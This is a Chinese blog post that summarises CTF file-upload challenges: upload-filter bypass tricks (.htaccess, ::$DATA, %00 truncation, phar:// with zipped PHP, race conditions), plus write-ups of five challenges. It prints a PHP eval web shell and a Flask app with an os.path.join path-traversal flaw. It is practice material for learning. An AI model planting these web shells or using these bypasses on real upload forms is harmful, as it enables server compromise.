首页 > 其他分享 >ctf文件上传题小总结与记录

ctf文件上传题小总结与记录

时间:2024-11-03 19:19:03浏览次数:5  
标签:总结 文件 db ctf file path php 上传

解题思路:先看中间件,文件上传点(字典扫描,会员中心),绕过/验证(黑名单,白名单),解析漏洞,cms,编辑器,最新cve

文件上传漏洞一般危害高

先看中间件,看有没有已经公布的漏洞,找文件上传点,试它的验证模式(黑白名单,后缀名,文件类型(MIME),文件头(png等文件有固定文件头))

  • 看能不能上传.htaccess文件,将其他类型的文件作为php执行,配合图片马
  • 对应中间件,查看是否有解析漏洞(四种)
  • ::$DATA会把之后的数据当成文件流处理,不会检测后缀名,且保持'::$DATA'之前的文件名;
  • 查看是否有二次渲染,先上传再验证再二次上传,二次渲染配合条件竞争,在文件第一次上传后迅速访问第一次上传地址,让其不能进行后续重命名验证上传操作,实现木马后门的植入。
  • 数据溢出:插入大量垃圾数据,绕过验证
  • 符号变异:利用” ’ ;等符号如"1.php"x"x.php 绕过验证上传。
  • 数据截断:%00:x.php%00.jpg,将%00进行手工url编码
  • 数据截断:换行,如"x.(换行)p(换行)h(换行)p”
  • 重复数据:重复写filename数据

上传x.php,用重复数据迷惑验证,实际上filename仍是x.php

上传jpeg;x.php,绕过验证,/也可以作为一个条件绕过

  • 可上传zip文件,phar伪协议对压缩的php进行读取
  • os.path.join()函数存在绝对路径拼接漏洞,如file_path = os.path.join(“var”, “lib”, filename),可访问任意文件
  • burp加字典爆破绕过

[MoeCTF 2022]what are y0u uploading?

文件上传

有源码,感觉应该不会很难,是个白名单绕过

没经过代理,直接执行了

传一个jpg上去,这次抓到包了,在这上面改,好像就不用经过第一个验证了

这咋办,偷偷去看一眼wp

什么!!!是f1ag.php

结束

总结:一道很简单的题目,小心掉坑

[NISACTF 2022]bingdundun~

phar执行php压缩文件 文件上传 PHP伪协议 PHP

phar://

主要是用于在php中对压缩文件格式的读取。这种方式通常是用来配合文件上传漏洞使用,或者进行进阶的phar反序列化攻击

只能上传图片或压缩包格式

将内容为

<?php
phpinfo();
@eval($_POST['cmd']);
?>

的putin.php文件压缩成zip文件,上传。

用phar://伪协议访问上传的文件

能够执行,用蚁剑连接

得到flag

总结:遇到可上传压缩文件的文件上传题,可将php文件压缩后上传,用phar读取来执行后门

[UUCTF 2022 新生赛]ez_upload

文件上传,Apache HTTPD 多后缀解析漏洞

此漏洞与版本无关,是因为用户配置存在漏洞

访问之后连蚁剑进入后台

总结:看到中间件为apache的文件上传题可以试一下1.jpg.php的格式。

[NISACTF 2022]babyupload

标签:文件上传,Python,Flask

os.path.join()函数存在绝对路径拼接漏洞

得到一个python文件

from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
    g_db = getattr(g, '_database', None)
    if g_db is None:
        g_db = g._database = sqlite3.connect("database.db")
    return g_db


@app.before_first_request
def setup():
    os.remove("database.db")
    cur = db().cursor()
    cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
    return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name="file">
    <input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
    return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']
    if "." in file.filename:
        return "Bad filename!", 403
    conn = db()
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.commit()

    file.save('uploads/' + file.filename)
    return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))
    res = cur.fetchone()
    if res is None:
        return "File not found", 404

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

将文件名改成/flag,访问返回网址后得到flag

原理:os.path.join()函数存在绝对路径拼接漏洞

os.path.join(path,*path)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当做组件拼接到基础路径之后。

然而,如果拼接的路径以/开头,那么包括基础路径在内的所有前缀路径将会被删除,该路径被视为绝对路径,造成任意文件读取漏洞。

file_path = os.path.join(“var”, “lib”, filename)

如果攻击者传入的文件名参数为”/a/b/c.txt“,那么 file_path 会是一个绝对路径(/a/b/c.txt)。即 os.path.join 会忽略掉”var/lib“部分,攻击者可以不使用“.”字符就读取到任何文件。

[WUSTCTF 2020]CV Maker

标签:文件上传,图片马

随便注册一个账号

进入此页面

找到上传点了

发现这样就行

在末尾写入

<?php
phpinfo();
@eval($_POST['cmd']);
?>

拖拉图片访问图片地址,发现php被执行

蚁剑连接

????!!!我flag呢?谁偷了

服了,原来phpinfo()里就有

ctrl+f查找flag

 总结:简单的文件上传,让我找回了自信

标签:总结,文件,db,ctf,file,path,php,上传
From: https://blog.csdn.net/2301_80951345/article/details/143435335

相关文章

  • # 学期2024-2025-1 学号20241405《计算机基础与程序设计》6周学习总结
    作业信息这个作业属于哪个课程<班级的链接>(如2024-2025-1-计算机基础与程序设计)这个作业要求在哪里<作业要求的链接>(如[2024-2025-1计算机基础与程序设计第六周作业](https://www.cnblogs.com/rocedu/p/9577842.html#WEEK06作业正文C语言是一种过程式编程语言,它提......
  • 2024-2025 20241308计算机基础与程序设计第六周学习总结
    这个作业属于哪个课程2024-2025-1-计算机基础与程序设计这个作业要求在哪里https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP/homework/13276这个作业的目标Polya如何解决问题简单类型与组合类型复合数据结构查找与排序算法算法复杂度递归代码安全作业正文教......
  • 2024-2025-1 20241314《计算机基础与程序设计》第六周学习总结
    学期(如2024-2025-1)20241314《计算机基础与程序设计》第六周学习总结作业信息这个作业属于哪个课程2024-2025-1-计算机基础与程序设计这个作业要求在哪里2024-2025-1计算机基础与程序设计第六周作业这个作业的目标Polya如何解决问题简单类型与组合类型复合数据......
  • 2024-2025-1 20241421《计算机基础与程序设计》第6周学习总结
    这个作业属于哪个课程 2024-2025-1-计算机基础与程序设计这个作业要求在哪里https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP/homework/13276这个作业的目标 计算机科学概论(第七版)第7章《C语言程序设计》第5章**作业正文 **https://www.cnblogs.com/118qa/p/1852356......
  • 2024-2025-1 20241301 《计算机基础与程序设计》第六周学习总结
    |这个作业属于哪个课程|<2024-2025-1-计算机基础与程序设计(https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP)>||这个作业要求在哪里|<2024-2025-1计算机基础与程序设计第六周作业](https://www.cnblogs.com/rocedu/p/9577842.html#WEEK06)>||这个作业的目标|<夯实基础,......
  • 2024-2025-1 20241312《计算机基础与程序设计》第6周学习总结
    这个作业属于哪个课程<班级的链接>(如2024-2025-1-计算机基础与程序设计)这个作业要求在哪里<作业要求的链接>(如2024-2025-1计算机基础与程序设计第六周作业)这个作业的目标Polya如何解决问题简单类型与组合类型复合数据结构查找与排序算法算法复杂度递归代码......